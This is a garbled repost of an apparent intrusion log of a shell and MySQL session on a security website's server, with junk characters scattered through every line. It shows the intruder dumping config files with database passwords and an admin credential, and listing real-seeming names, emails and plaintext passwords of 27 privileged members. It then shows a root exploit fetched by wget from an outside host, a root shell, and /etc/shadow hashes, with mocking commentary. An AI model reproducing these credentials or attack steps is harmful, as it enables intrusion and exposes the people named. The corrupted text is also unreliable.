( B% W+ X3 V; rdrwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 config
d7 r: i- {3 z& |drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 cron
0 h' ]: a, S" Fdrwxr-xr-x 11 astanet astanet 4096 Jan 5 2006 dvd
1 ^7 w5 l$ b1 k; T" H/ r x-rw-r–r– 1 astanet astanet 36 Jan 5 2006 error.php
, L3 V( D$ y& t) a-rw-r–r– 1 astanet astanet 1406 Jan 5 2006 favicon.ico* u: @- e* k) Q9 j* U4 D, r8 \
drwxrwxrwx 2 astanet astanet 4096 Dec 15 2006 feed
* |+ f; t* I" l: }7 n" a+ |/ xdrwxr-xr-x 3 astanet astanet 4096 Dec 8 2006 flashtour: X) j' C; r1 k% C0 _: `5 o
-rw-r–r– 1 astanet astanet 18 Jan 5 2006 htaccess8 w! S: y& t S& q5 z2 }4 o
-rw-r–r– 1 astanet astanet 585 Mar 24 14:50 .htaccess5 F# j% {0 g* w
-rw-r–r– 1 astanet astanet 398 Jan 5 2006 index1.php
# J$ g: W- k1 t-rw-r–r– 1 astanet astanet 1036 Jan 5 2006 _index.html) e+ [# S$ ^7 c: e6 x. f/ y
-rw-r–r– 1 astanet astanet 6880 Dec 23 14:44 index.php
6 a6 O' ~( ^/ p& x, E6 ? }-rw-r–r– 1 astanet astanet 676 Mar 21 2006 index_redirect.php0 c) Y4 @7 |5 A+ U# D1 u
-rw-r–r– 1 astanet astanet 739 Feb 24 2006 index.swf0 H, y0 ]5 i( d S0 ]/ B' ~ m
drwxr-xr-x 4 astanet astanet 4096 Oct 18 2006 irc
$ y4 X" L: Q @1 Q3 w7 Wdrwxr-xr-x 4 astanet astanet 4096 Aug 11 2006 lang
# U% _8 m q2 o$ a8 q4 w5 cdrwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 lib" }& u$ V, A, Y8 n* F+ S
drwxr-xr-x 6 astanet astanet 4096 Aug 11 2006 log1 h3 v0 o1 d' s0 S T# }) D
drwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 member7 b* i) U) ~: ^; V& l
drwxrwxrwx 5 astanet astanet 4096 Jun 4 00:03 memberdata
5 u3 W( A" y# d) t. ~! ]: |/ O6 z8 Ydrwxr-xr-x 2 astanet astanet 4096 Jan 5 2006 new
9 Y# L1 M# U& b- F1 ]/ L N X0 y& h. I-rw-r–r– 1 astanet astanet 7219 Feb 24 2006 pix1.swf
8 z* v) O4 a$ tdrwxr-xr-x 2 astanet astanet 4096 Oct 27 2006 re( S; z( y8 n1 F1 A9 U( n% l; M$ A
-rw-r–r– 1 astanet astanet 23 Jan 5 2006 robots.txt+ u2 T" b( z! Y6 M- F: ~
drwxr-xr-x 3 astanet astanet 4096 Aug 11 2006 rss
" w# Y" v4 {3 r& Edrwxr-xr-x 39 astanet astanet 4096 Dec 13 2007 sources
' C1 A# {( o, ~) }+ T1 ]drwxrwxrwx 3 astanet astanet 4096 Feb 2 15:40 temp_com5 N1 d4 b2 X! h. q$ F5 |
drwxr-xr-x 7 astanet astanet 4096 Aug 11 2006 themes
# G2 }4 r9 ]# O0 U2 D; Sdrwxr-xr-x 2 astanet astanet 4096 Mar 14 2008 tmp_src% |7 ^+ d1 w& C4 k$ E1 e
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 tpl
- j9 F8 M4 R+ J' H; }$ J1 Wdrwxr-xr-x 3 astanet astanet 4096 Sep 7 2006 v2
! t5 {2 g/ H) j6 Sdrwxr-xr-x 16 astanet astanet 4096 Jul 5 2006 v2_old- u) y2 L. t# R' H( z" p
-rw-r–r– 1 astanet astanet 35 Dec 4 2006 webcash.php
8 o4 `" D' t) F5 A: W4 I7 J/ s; ~drwxr-xr-x 13 astanet astanet 4096 Sep 21 2006 wiki
- S$ L7 _3 f/ k% E. k
$ w8 k6 D' O$ \ Y6 F. E1 T7 d3 Ysh-3.2$ head -20 index.php; }, I1 G) t$ e4 b* q
<?PHP7 G+ C' T7 |4 Y: t ~+ w3 C
/**$ R3 w, ?% A8 T! R. x
* Mainfile (external) for astalavistaNET v2.0! }9 j8 [2 }# |6 @3 X
*% d: ~1 J- y; y+ T9 N
* @copyright Astalavista IT Engineering GmbH& o0 m# G+ Q9 O3 r h
* @author Thomas Kaelin <链接标记thomas.kaelin@astalavista.ch>" ? f1 ]! l' @; I
* @version 1.06 J3 h4 z& T, S' u- X2 `
*/0 _- q( U/ b( p8 G: f
- P% c( p" F% `" y$ k6 a d$ F if ($_SERVER['PHP_SELF'] == ‘/webcash.php’) {
! a6 t; l7 t9 w. F+ y $dontStartSession = false;
4 D: B: S3 R6 a/ r } else {
3 j Q1 Y8 ]& Q( ~4 F! i) c5 O( ?8 A $dontStartSession = true;
2 o3 [8 E, R7 u }
/ j4 J1 \2 r* r8 `/ E M7 D require_once($_SERVER['DOCUMENT_ROOT'].’/config/com.conf.php’);8 F$ F* q* b9 a6 L
require_once($_SERVER['DOCUMENT_ROOT'].’/config/ext.conf.php’);0 }! k9 ^8 g$ i5 `
require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’com.class.php’);
4 g9 C: C) ~& A$ l( I require_once($_CONFIG['path_absolute'].$_CONFIG['path_init'].’ext.class.php’);. W) V8 q/ Q; O) A0 p* c2 f" _+ ]: a
. _1 B/ ^! j2 s& R
sh-3.2$ cd config/ i# g2 X. B/ G6 E! P" O" ^9 |6 \9 P
sh-3.2$ ls -la: @ m/ q8 f! o; m; M
total 32
4 r1 x* O5 S8 a$ {drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 .
4 t* M6 u" v a, v6 |" bdrwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
- t8 I1 `9 O- v1 P* H$ T0 D-rw-r–r– 1 astanet astanet 987 Aug 11 2006 adm.conf.php& j7 }$ U0 O% Q2 C1 ?, ^9 [# |) L
-rw-r–r– 1 astanet astanet 4937 Dec 23 15:48 com.conf.php4 [+ u+ e. g) |. H0 f& _6 z
-rw-r–r– 1 astanet astanet 913 Aug 11 2006 cron.conf.php" H+ t4 S' D0 ^! [% o
-rw-r–r– 1 astanet astanet 1668 Aug 20 2008 ext.conf.php8 z. o$ V6 m; o
-rw-r–r– 1 astanet astanet 2724 May 30 2007 int.conf.php' L# v6 \. j7 a* @
6 ^/ U# w3 {7 M/ n7 |
sh-3.2$ cat com.conf.php
9 Z, l, x: Y3 N* @+ w6 p; M[snip]0 f+ N) F2 s. o
//member-database
# W; y+ N2 W. k! U) z0 b! E% o$_CONFIG['db_mem_server'] = ‘localhost’;5 s; ^/ s2 t1 e0 j. Y
$_CONFIG['db_mem_database'] = ‘astanet_membersystem’;% U4 ]1 a7 ~. O0 G+ d2 H" R
$_CONFIG['db_mem_user'] = ‘astanet_db’;. }9 O0 u& S# _! X$ x0 k
$_CONFIG['db_mem_password'] = ‘TXwVrC7hbq’;) p3 E v9 n0 o$ ?
$_CONFIG['db_mem_debug'] = false; //true or false
- j2 F8 ]5 Y5 ^+ L2 a//ads-database" J; |9 ]" v1 H# o" v
$_CONFIG['db_ads_server'] = ‘localhost’;
( l8 Y/ V5 K" ] I" n) N& ~; N$_CONFIG['db_ads_database'] = ‘astanet_ads’;4 Q8 m' b# Z$ `( j/ q+ s; V
$_CONFIG['db_ads_user'] = ‘astanet_db’;0 { d f4 r% `2 j' w/ Q! p8 g( l2 v
$_CONFIG['db_ads_password'] = ‘TXwVrC7hbq’;# X* h) ]) E: z( ^
$_CONFIG['db_ads_debug'] = false; //true or false' ^8 }1 A: P2 _! r$ G
//rainbow-database' L8 w7 ^4 [4 {$ \' t, b% }. A! }' w
$_CONFIG['db_rainbow_server'] = ‘212.254.194.163′;) M( h/ X8 W& J' |, u) Q
$_CONFIG['db_rainbow_database'] = ‘rainbow’;$ y7 k9 P" k# S
$_CONFIG['db_rainbow_user'] = ‘dinu’;7 E! P, @" T0 s
$_CONFIG['db_rainbow_password'] = ‘dinudinu’;& g* {9 E& a+ Z+ x
$_CONFIG['db_rainbow_debug'] = false; //true or false0 }5 W& @) x' R3 |, [# ^1 |
//mailing lists database; `7 n9 f* O. U
$_CONFIG['db_mailing_lists_server'] = ‘localhost’;
" C" ?; `$ E2 J' z+ S6 b: x$_CONFIG['db_mailing_lists_database'] = ‘astanet_mailing_lists’;% X' b) l9 F" {
$_CONFIG['db_mailing_lists_user'] = ‘astanet_db’;
7 p5 l* Z1 a0 f& r+ {; E$ U0 G6 r$_CONFIG['db_mailing_lists_password'] = ‘TXwVrC7hbq’;- n2 h+ Q/ `5 a R- ?
$_CONFIG['db_mailing_lists_debug'] = false; //true or false
7 ]7 w& a& w2 ~- g/ L- e5 Z8 b$ t//paypal8 b: G/ I4 X8 y
$_CONFIG['sub_pp_url'] = ‘链接标记[url]https://www.paypal.com/cgi-bin/webscr[/url]’;" P- I* @5 u m* K) G6 h3 Z% a4 N
$_CONFIG['sub_pp_cmd'] = ‘_xclick’;, [ g8 @1 M3 ~: J( Z: l
$_CONFIG['sub_pp_business'] = ‘链接标记info@astalavista.net’;
( K$ r. D1 q: k6 W9 w. c. y$_CONFIG['sub_pp_noship'] = ‘1′;
( P( y+ G' t' o, _$_CONFIG['sub_pp_referer'] = ‘链接标记[url]https://www.paypal.com/[/url]’;
/ h- @6 B, d& g0 l# S) c) i[snip]
' E% B0 p" D( o8 a# O* o2 [9 _5 w" u6 E# b7 ]6 L& T
sh-3.2$ cd ..# g# ]9 h3 c: o$ ^! I: t
sh-3.2$ cd member
6 s" x. G" q8 _/ ush-3.2$ ls -la6 u9 y8 H N D
total 20
7 N/ r( q0 k4 I2 O" c/ Fdrwxr-xr-x 2 astanet astanet 4096 Jan 13 14:02 .1 B9 ]* H+ a6 U' q
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
- Z) F0 g9 S. e! {+ W* N-rw-r–r– 1 astanet astanet 19 Jan 13 14:02 .htaccess7 o) S; ?4 U% c/ @- n8 r' j K7 g
-rwxr-xr-x 1 astanet astanet 6709 Jan 13 14:06 index.php
2 W- C5 P) r* P N6 @sh-3.2$ cat .htaccess
) C5 r9 D! b) q# ]4 Z( F: ^SecFilterEngine off) j/ e% G9 L1 Y( J$ i$ n. A# Y
" U* n# B! E7 J& @8 Psh-3.2$ cd ..
. J6 F; W4 Z0 vsh-3.2$ cd cron
3 W& O* x( }7 bsh-3.2$ ls -la# W' K2 f9 j% l. q5 `8 { Z: \
total 168% R9 l' Z: M. u r: B
drwxr-xr-x 3 astanet astanet 4096 Jan 12 08:52 .4 V6 j8 l2 @( l5 h$ d9 _, q
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
* p3 O8 F5 `+ \! f-rw-r–r– 1 astanet astanet 1272 Jan 12 08:24 0_corefile.php4 o+ c, x/ J" q2 e0 Q+ l3 g/ e8 P
-rw-r–r– 1 astanet astanet 2356 Aug 11 2006 0_functions.php
* W1 o- k6 ?4 ?' C f" A, N-rw-r–r– 1 astanet astanet 3616 Dec 23 15:44 1_daily.php
9 z6 L% g' t, ]' I2 L, y-rw-r–r– 1 astanet astanet 527 Aug 11 2006 1_fivemin.php$ a5 C- D0 l. y A R) e
-rw-r–r– 1 astanet astanet 5006 Dec 23 15:39 1_hourly.php+ L0 v& D% p3 @& J( j' l0 a. M4 ?
-rw-r–r– 1 astanet astanet 432 Aug 11 2006 1_weekly.php" L+ @' A/ N7 g* ^4 N
-rw-r–r– 1 astanet astanet 2277 Aug 11 2006 2_advertising.php
, z+ j$ `' h2 H& N-rw-r–r– 1 astanet astanet 4882 Dec 23 15:40 2_archives.php2 t- W) C* c0 L/ k- H1 q6 g$ H
-rw-r–r– 1 astanet astanet 3784 Aug 16 2006 2_awstats.sh
- V& n: t( f* H4 t2 k-rw-r–r– 1 astanet astanet 14894 Jan 12 08:51 2_expire.bak.php
7 [0 R5 N! U& z8 U- |1 Y/ t' t-rw-r–r– 1 astanet astanet 14979 Jan 12 09:10 2_expire.php" J+ Z( Q4 f% t1 z* Q9 O! a
-rw-r–r– 1 astanet astanet 7657 Aug 15 2006 2_exploitree_updater.php1 Z( y! i! q" z3 T! V. D1 K
-rw-r–r– 1 astanet astanet 686 Dec 23 16:31 2_filesize.sh# P( i& v \+ v# |! B; C
-rw-r–r– 1 astanet astanet 9853 Aug 11 2006 2_keywords_old.php. b* t: T" O) W/ ^" `! z
-rw-r–r– 1 astanet astanet 15664 Sep 22 2006 2_keywords.php; c' }( w; W: U9 G2 V$ I3 R! {
-rw-r–r– 1 astanet astanet 1233 Aug 11 2006 2_proxy_checker.php* ?) X9 K5 i' h# U+ i
-rw-r–r– 1 astanet astanet 7558 Aug 11 2006 2_proxy_collector.php
e: v! C$ a: c5 p; [% q% y-rw-r–r– 1 astanet astanet 796 Aug 11 2006 99_create_emails.php9 N6 I2 C4 B5 h8 X: i) ?- r* E7 p
drwxr-xr-x 2 astanet astanet 4096 Aug 11 2006 99_lang_email
$ R$ W* \0 p# n+ X) }1 V0 t-rw-r–r– 1 astanet astanet 9622 Jan 6 16:04 login_reminder.php: Q/ ~/ H* O) V7 u- l1 r
-rw-r–r– 1 astanet astanet 9620 Jan 6 16:05 login_reminder_test.php4 J* w8 A; q/ _6 ^0 U1 M; k
, [) X7 a8 v/ t/ ]1 \4 S
sh-3.2$ cd ..
. b7 [2 G" Y. g& J0 [; Ysh-3.2$ cd _0072 P1 y2 o, x/ a% `/ c6 b( \0 J) W4 V
sh-3.2$ ls -la4 j+ l' E6 |/ N
total 24
& ~) {" ?' J. D% C2 [ j; c; Ndrwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 .
3 d1 r+ J1 A3 l2 `drwxr-x— 29 astanet apache 4096 Jan 6 13:58 ..
' R. J) M) H$ {-rw-r–r– 1 astanet astanet 96 Dec 23 15:17 .htaccess
& h! W4 D/ D' e-rw-r–r– 1 astanet astanet 3263 Jan 15 2007 index.php
$ V- s, \8 x1 y6 T# B-rw-r–r– 1 astanet astanet 20 Dec 27 2006 info.php/ f6 ~1 k, x' P- a8 b" \! c# _
drwxr-xr-x 5 astanet astanet 4096 Aug 11 2006 sitemap
' j- U8 H4 F& h( b5 Y7 ~: x& J4 U8 G2 @2 s
sh-3.2$ cat .htaccess
( ^7 T S. a( aauthType Basic! H8 `2 ]' U& ~
authName Admin8 p$ i. e7 G3 m2 y: v/ b& j% K
authUserFile /home/astanet/auth/.htadm_pwd/ O6 M1 v1 h' W
require valid-user
* m3 D* S: h! F; [" S
+ |" T/ ^/ n/ jsh-3.2$ cat /home/astanet/auth/.htadm_pwd
e3 i6 i- i4 D9 P3 Badmin2net:CR0bl65MwhfT
2 ^7 K4 s) g+ p
8 W# A& J+ q2 o" T7 g# r4 D8 `sh-3.2$ mysql -u astanet_db -p
, @, L, a( ]* X$ F( o) G: iEnter password:
; f' `+ }, _( A+ W) P- k0 C6 EWelcome to the MySQL monitor. Commands end with ; or \g.! S" y/ G) y" |" j4 s6 q
Your MySQL connection id is 275153/ s( ^. a6 O& v% l7 K. h9 ~1 V& C
Server version: 5.0.45-community-log MySQL Community Edition (GPL)1 U9 I+ J* k: k' o3 {
/ J1 w3 S; H: M! y- Y e, k0 cType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
: g, f" N( @ Y+ R! o- s# f w. b7 a6 d N0 y) z+ P
mysql> show databases;
7 _* X0 Q6 G8 s' w1 A& c: f9 e+———————–+
3 G0 _' _3 e: H% K| Database |7 Q. _: V% K3 d' y2 f
+———————–+- H- m) D. V; W9 n& Z
| information_schema |8 H& P: Y) {+ A$ Q! f) b
| astanet_ads |# M% w6 i- P, O, V4 }2 L& Z
| astanet_mailing_lists |
' T' k& P5 `1 p8 h, A, M( Q| astanet_mediawiki |. n# W" @. U& Z) d3 {
| astanet_membersystem |
; {& P& W8 R% {# r/ z; D! s$ V| test |' _8 g2 T- y4 g/ b9 M+ J
+———————–+! Z8 g8 L% I' L7 R
6 rows in set (0.00 sec)
) Z1 F" T& v1 P! B/ e
: b% }% k6 D: Z/ s' K+ |mysql> use astanet_membersystem
8 s0 `6 G8 M+ h+ \4 dDatabase changed5 A4 m6 V* ]% D- D) X
mysql> show tables;8 ?+ m" [) k$ z ?
+———————————–+ t. p+ S& v! N9 g) z) R5 z
| Tables_in_astanet_membersystem |
r! a" K5 r5 b4 M+———————————–+
; N: n- q- S. x# \8 Q| blacklist_categories |
. ], N9 c0 }5 Q0 X" }| blacklist_content |
1 e% z3 G: @9 p( M3 O s3 Y3 y| blacklist_levels |
( [* `. D+ N& u9 G1 o7 `- @& H8 j| blacklist_mcset |" X% j7 S* x0 _" i
| dir_categories |
Q% O+ W" r; y1 w7 w p; u| dir_comments |* f' R3 ?' `' S* r! P( P
| dir_links |, y9 J9 S! w1 V. j6 u
| dir_temp |
3 f9 Q; B3 L T" x4 G| dir_votes |: F* e7 d% ~1 }- `, B' e% H. ]
| documents |
* f e) C* E( w B. y- \* q5 Y. b| documents_categories |
$ ]/ l6 Y. I! ?: Y8 Z| email_content |8 ^) B2 Q- ]1 o6 o9 ?7 s! Z; ]: ^6 [
| email_settings |/ I. u" r- }$ }/ s0 [7 c
| exploits |9 S1 K, \- r; J3 X- W7 K3 X- g2 a
| exploits_categories |1 v% a( A2 X1 M7 k, Y: X
| exploittree_categories |
* H& M9 @" o8 g# \" V) P| exploittree_exploits |7 r5 s+ ^9 u& p* M0 x% I u: a
| home_values |
1 w! I3 U; `9 S7 Z( {' ?5 A| iso_countries |% l% g8 v8 c$ y4 I
| links_categories |- Y/ b# ?2 b- j2 `
| links_records |
% B% Z0 B; _1 k4 l' }| links_unauth |/ q% `# U6 r1 C5 K( P2 f7 F5 E" P
| links_votes |
: {4 h' V, e& H+ Z9 b1 L _| log |
% O! F: r2 x+ h6 C| news_categories |2 p5 ]2 N H* T( L) _9 \+ O
| news_comments |% [3 p% k6 R& l
| news_emoticons |* ~0 ^8 o7 ~( t1 i! j
| news_latest |' I0 G4 H; K' W
| news_messages |8 r/ M* C: b9 N8 s# D6 K9 w
| news_statistics |4 w+ {+ C* b; q
| news_votes |" l' n1 y: r* l. d) ~- H" h) S, B
| prices_content |
( Q" l- W+ m1 h, f, }0 `! x% f9 I| prices_offers |5 z9 v5 @( e" s6 S9 J! r3 v
| rss_settings |
; q0 H7 b9 B9 }2 g8 h+ Z4 p- ]| sessions |
5 H9 k+ x3 q8 V& r& l( Y& n1 T% c| stats_signups |
5 e9 Z5 w+ ~4 l0 D# N| u2u2 |
{' M' C$ Q: l! `( J| u2u_contact |
7 D6 o! p8 C+ b+ F% B| u2u_settings |9 {: ^5 G. U/ X$ T2 }
| user_keywords_selected_categories |7 [) A1 R( ^) T) ^7 }
| users |# F+ v7 m* G+ ?2 U7 W
| users_ipn_test |
5 ?2 O% |- Y( l" d| users_keyword_values |' X+ l [* W* K, D3 Q
| users_profile |
2 y/ k' e4 S+ d$ ^/ q0 O| users_temp |
( P7 ]' m w$ P+ j) K- _| users_upgrade |) F3 R6 u% ^ K$ S) i
+———————————–+1 _% o" t4 d/ _# o- [
46 rows in set (0.00 sec)' U+ E) l+ l0 X1 _! B
, z9 A* q- l# m# a* @+ Y. B( lmysql> describe users;
* p% M4 w/ L* N+————————–+————————————–+——+—–+———————+—————-+3 }, c H0 U( l* ], }- S1 V1 Y
| Field | Type | Null | Key | Default | Extra |
: \) R! N( K: E9 o5 d+————————–+————————————–+——+—–+———————+—————-+
2 c% t/ ]# Q, @) U ^8 n' i. Q| primary_key | smallint(5) unsigned | NO | PRI | NULL | auto_increment |4 ]4 R, \6 Z; t" @$ M" _) X& {
| user | varchar(50) | NO | | | |
; C' R0 r5 w- d4 X0 s% u5 s& ]| nickname | varchar(30) | NO | MUL | anonymous | |
3 N# y2 L& [' ]' A L% x# U \) k| password | varchar(30) | NO | | | |9 J0 Q# m3 p" R7 G# J) T6 K
| userlevel | tinyint(3) | YES | MUL | NULL | |
& b/ ?; J, W9 A0 _5 ?: S| exp | int(8) unsigned | NO | | 0 | |
' Y$ o: Y. |% C' C1 B1 [| email | varchar(50) | NO | | | |. l* C4 ~+ z! P/ y& @/ I5 X
| ip | varchar(15) | NO | | 0 | |
* C5 f" z% n1 G) r, n7 o- S) i| proxy | set(’0′,’1′) | NO | | 0 | |
) L5 }- z2 g; c- k, {| logtime | timestamp | NO | | CURRENT_TIMESTAMP | |0 A9 E9 |3 g; V# C
| login_reminder_last_sent | timestamp | NO | | 0000-00-00 00:00:00 | |3 h+ \8 ^( H2 ?
| anz_in | tinyint(1) | NO | | -1 | |
, w/ U- g7 m3 C" B( M( m. t| status | tinyint(1) unsigned | NO | | 0 | |8 R6 c" \- z0 U$ n ~$ k
| checked | set(’0′,’1′,’2′) | NO | | 0 | |
% [/ ^' A, ` j5 k% i4 h| freemember | set(’0′,’1′) | NO | | 0 | |
( M% \) f& X% s" _. z4 m| ordertype | set(’transfer’,'wp’,'pp’,'mc’,'CnB’) | YES | | NULL | |
5 d* n, Q% ]4 u# B4 A' H$ ]. e5 S6 V4 g| lang | tinytext | NO | | | |7 n) J+ p. o- p* q6 @% ]0 E+ A
| adid | smallint(6) | NO | | 0 | |% D F) Q7 ]8 o) j. _0 P( w8 }
| pp_txn_id | varchar(255) | YES | | NULL | |
7 a1 Z, c' n r3 q' H1 W" X| cnb_transaction_id | varchar(255) | YES | | NULL | |4 b7 u7 x6 W" u4 y9 x+ M
| cnb_order_id | varchar(255) | YES | | NULL | |- z6 j3 e( l6 d8 c) t) P
| cnb_user_id | int(11) | YES | | 0 | |% l% d$ P. N- Y V
+————————–+————————————–+——+—–+———————+—————-+
" e- V2 X5 n( f l4 s+ p22 rows in set (0.01 sec)
6 t8 h! c+ B' J) f' W
, e `2 Q) u" cmysql> select count(*) as skids from users;
0 R3 |) e; {' }( e+——-+
& j( o( `# _4 z& [5 s| skids |8 ]& M- D0 x9 A: u Z4 G: O& H5 k
+——-+1 s' S( d) e8 a, u! [/ r. V. F
| 25199 |
! D$ j4 Q9 p3 V7 y+——-+
; M$ n' N6 H ?8 Z1 row in set (0.00 sec)
0 O; C$ K& P' y- a) x p* m% @: `% u9 B' P. P6 Y+ @3 q
mysql> select user,nickname,password,email from users where userlevel = 1;
8 @7 w2 x. U4 ^+ n5 P8 B6 B+————————–+———————-+——————+———————————–+
. B+ |0 u$ Y6 h8 t) d! a| user | nickname | password | email |
8 ?, T5 H0 C/ _( [! r! E+————————–+———————-+——————+———————————–+. c q- S; y; L3 x u
| pascal | prozac | astaman3 | 链接标记info@astalavista.net |
% \$ J8 v; W9 G. s& l/ f| Ivan Schmid | rOOtless1 | astalavista4asta | 链接标记ivan.schmid@comvation.com |
7 u% @: E6 z8 `8 v| qreymer | Palermo | qblsw85iam | 链接标记eche@home.se |
7 U/ g f) B, }8 b4 t| Christian Wehrli | g0atherd | hitt?74 | 链接标记g0atherd@gmx.net |
1 I" w8 j3 s# e) C/ N/ Q* M; r/ I| Andrew Blake | Minky | liq73uid | 链接标记a.blake@har.mrc.ac.uk |" a2 d2 k) [( ^* H3 {6 F
| Martin Wyss | dinu | kj63;cXy | 链接标记martin.wyss@astalavista.net |+ y* B5 t: H+ C: r3 n3 G; u8 f
| Leandro Nery | Timan_no_Sanco | nery2002 | 链接标记leandronery@hotmail.com |5 U6 a3 M! ` F$ Y5 j
| shaving ryans privates | ShavingRyansPrivates | memberboard313 | 链接标记shavingryansprivates1@hotmail.com |' o+ t, T" R# k3 |8 R& r2 E# K
| Gerben van der Lubbe | Spoofed Existence | Lb59eXg5 | 链接标记spoofedexistence@hotmail.com |" { e+ U+ `! T: \; c6 t8 X5 J
| David M Lee | Daremo | icG12m03 | 链接标记daremo@hackerheaven.com |9 M: P3 K& ~6 n7 Q3 c! A) m8 R2 {
| David Corn | akriel | ve3uB$cUku | 链接标记akriel@fallenroot.net |) n7 ]. X9 Q+ v( x+ X1 K0 Y
| Thomas Kalin | Gwanun | QwErTy123 | 链接标记thomas.kaelin@astalavista.net |
% K, t3 O5 |' O0 t5 |$ n/ Q0 `| Marcus unknown | Cra58cker | hhCr4ck06 | 链接标记unknownmarcus@hotmail.com |9 [' [, C) x" Z% M) t+ d( C/ |
| David Ellis | dellis203 | philip | 链接标记dellis@nightwatchnss.com |$ |* d+ j" g9 s: s/ b; I0 }/ D
| Lars Christian Solberg | xeor | tF3s4|Nea | 链接标记xeor@hush.com |' v* F' b3 ^/ E. W, t
| Paulo Santos | Be1er0ph0r1 | amor01 | 链接标记pmsantos@gmx.ch |
; D; t$ C. V( F& E; d| Thomas D?ppen | daha | asta4tom | 链接标记thomas.daeppen@astalavista.ch |1 x2 X5 \4 S( g% q. ~5 i
| Touraj Abbasi Moghaddasi | -Crow1 | NetR0ck | 链接标记toraj.a.m@gmail.com |
9 o% h/ j3 _$ w% a+ p4 G| Fabius Bernet | traviser | wellenreiter100 | 链接标记fabius.bernet@astalavista.ch |
1 M8 g, G( O1 d2 m: k, v! ~| Zachary McElroy | duder1 | dirty245dix | 链接标记mcelroyzj@yahoo.com |* x, K3 O; U) ~1 `9 y
| Leron Cohen | cohen2 | leron4free | 链接标记leron@quiredmedia.com |
4 Z. w* K+ H9 Y% T4 H| Beatriz Pontes | anonymous1656 | pitas | 链接标记joao.pedro.pontes@gmail.com |9 M+ i3 C& U9 B4 [* z$ ~0 K2 Q- w" z
| Glafkos Charalambous | anonymous2086 | si99490178$# | 链接标记nowayout@webhostline.com |7 |, u c, a, V8 v& x1 n6 K
| developer COMVATION | anonymous2402 | Ri?Q$Q$MVU | 链接标记ivan.schmid@astalavista.ch |
) C3 b; Z! v' l; B1 || Peter Fisher | cyph3r1 | testZer025435 | 链接标记cyph3r@astalavista.com |
$ D6 E: B2 A* D- M6 M5 s5 A. V3 S) t ~| sykadul | sykadul | ak29eral | 链接标记sykadul@gmail.com |" w3 \/ T+ M' X; @% l
| Ronny Janzi | commander1 | mpbdaagf6m | 链接标记ronny.janzi@astalavista.ch |
0 R R8 C* T) a/ O, b0 a+ H; ^. G+————————–+———————-+——————+———————————–+: B# Q- `4 K6 H" N/ @" @ p* r
27 rows in set (0.00 sec). R. i# ^; a. B+ Z6 F
5 u# d' L% ]. h5 v: C5 o
mysql> exit;% T( d2 K" ~" U$ ^( X% Y- c- }
Bye
: [ H5 l. J* k6 K' ^6 z% j/ r# C* k$ G! T+ d
[~] plaintext passwords? yes,
* w/ w3 d6 F" N, |Those so called “security professionals” who charge you $6.66 / month to
% v- Y' C( } B1 pregister at their hack-proof portal, save your passwords in plaintext…
+ e$ M. {. v* }* ?) cbrilliant!
$ n0 U1 }, r& D& y$ P2 k& C( k# m& Z% H* d% O1 b9 B" b
[~] This been fun but we want more. v M" W8 B# c8 x, ^
- i* X3 u: [/ _% C# G/ A
sh-3.2$ uname -a
1 O0 R! C- M4 JLinux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux& d& H9 B6 b, j1 T
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]
; I; z4 a* _- z0 m$ j4 F1 f7 B& r–13:33:37– 链接标记[url]http://anti.sec.labs/g0troot[/url]
3 f! I/ y4 J: a d4 v# ]Resolving anti.sec.labs… 13.33.33.37. ~$ l& [8 q. e. ]) ~' y
Connecting to anti.sec.labs|13.33.33.37|:80… connected.; L; y* p) A9 |0 d7 Q* r, U
HTTP request sent, awaiting response… 200 OK
$ [# c4 _& D# m' q8 K6 D3 L3 JLength: 18200 (18K) [text/plain]
# i. O; l. ^& w* I- X( N! jSaving to: `g0troot’4 P0 v$ B9 \0 f8 G% {. o: @
$ ]7 W8 C- T3 s A1 n100%[=========================================================================================================================================>] 18,200 58.6K/s in: I- N) S; d& f" B# u9 N
0.3s" i2 X: h2 ?% N S
8 l" `! [3 X- }
18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]" h1 v" K i3 _7 l$ }% r9 f- L
4 m8 V; x2 C' a" `; B% L
sh-3.2$ ./g0troot -i x86_64: i) e& t* u) w# v
[+] g0troot - anti.sec.labs: ~( d/ D% H! W* c2 D5 }# J/ b% j
[+] Target: 2.6.18-128.1.10.el55 p5 }) k1 { D
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
7 Z/ T# D" ^9 C5 M" G1 u+ D/ z6 z1 \3 S. m
[+] r00tr00t. ]% z& v6 h5 J3 L+ n, z
[~] Executing shell…
& g+ b- k1 d; ~" m+ _8 g$ A" B- V5 ^+ |8 H# j8 B- M, P& \; d
sh-3.2# id
4 N B7 z, x( B7 l. |. cuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
7 P' ?% C1 ]. M
/ Q, D' N6 H2 Q$ D4 f$ v, X+ g1 Gsh-3.2# cat /etc/shadow
4 k M a; ^% _. Xroot 1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::; Q ]+ F2 g) y1 h: ]
[snip]2 P$ j/ b6 g1 l
admin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
, i1 e( H. D. S1 j( Y1 i' Djon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::
7 j/ e- q v$ X' ucom1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::! s @9 q; T$ S3 h0 a
astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::, V! x0 i+ ^! c/ t2 E( ?
- M* n; [9 k8 p2 }" Y) g$ @( Lsh-3.2# cat /etc/motd) Z# N; w5 y; ]( }$ \+ E
#####################################################. R$ E" J" Y" }+ W5 r3 k% w( o
